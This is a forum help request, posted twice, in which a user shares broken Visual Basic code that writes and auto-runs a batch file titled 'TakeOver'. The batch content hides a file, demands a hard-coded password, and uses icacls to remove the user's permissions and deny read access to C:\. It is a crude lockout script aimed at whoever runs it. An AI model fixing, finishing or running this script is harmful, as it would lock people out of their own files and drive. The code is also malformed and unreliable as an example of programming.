Getting VB C++ to write a batch file 10-23-2013, 02:39 AM
#2
Okay i am trying to get VB C++ to write a batch file... but I came into errors
here the script (epic fail)
Module Module1
Sub Main()
Dim objFSO, objFile, objWShell
objFSO = CreateObject("Scripting.FileSystemObject")
objFile = objFSO.CreateTextFile("Test.bat", 2, False)
objWShell = CreateObject("WScript.Shell")
objFile.Write("@echo on
title TakeOver
/max
: a()
attrib +h "%userprofile%\my documents\d.bat" >null
echo enter password to Login
set/p "pass=>"
if not %pass%==400670 goto:b
:b echo %username%
iCACLS files %username%:N
echo you have entered the wrong password goto:a
if %pass%==400670 goto:f
: f()
echo type start to begin and End to shutdown
set/p "QUESTION=>"
IF %QUESTION%==start goto :Start Explorer.exe
: b()
echo %username%
iCACLS files /deny %username%:r C:\)
objFile = Nothing
objWShell.Run("Test.bat")
wscript.quit()
End Sub
End Module
here the script (epic fail)
Module Module1
Sub Main()
Dim objFSO, objFile, objWShell
objFSO = CreateObject("Scripting.FileSystemObject")
objFile = objFSO.CreateTextFile("Test.bat", 2, False)
objWShell = CreateObject("WScript.Shell")
objFile.Write("@echo on
title TakeOver
/max
: a()
attrib +h "%userprofile%\my documents\d.bat" >null
echo enter password to Login
set/p "pass=>"
if not %pass%==400670 goto:b
:b echo %username%
iCACLS files %username%:N
echo you have entered the wrong password goto:a
if %pass%==400670 goto:f
: f()
echo type start to begin and End to shutdown
set/p "QUESTION=>"
IF %QUESTION%==start goto :Start Explorer.exe
: b()
echo %username%
iCACLS files /deny %username%:r C:\)
objFile = Nothing
objWShell.Run("Test.bat")
wscript.quit()
End Sub
End Module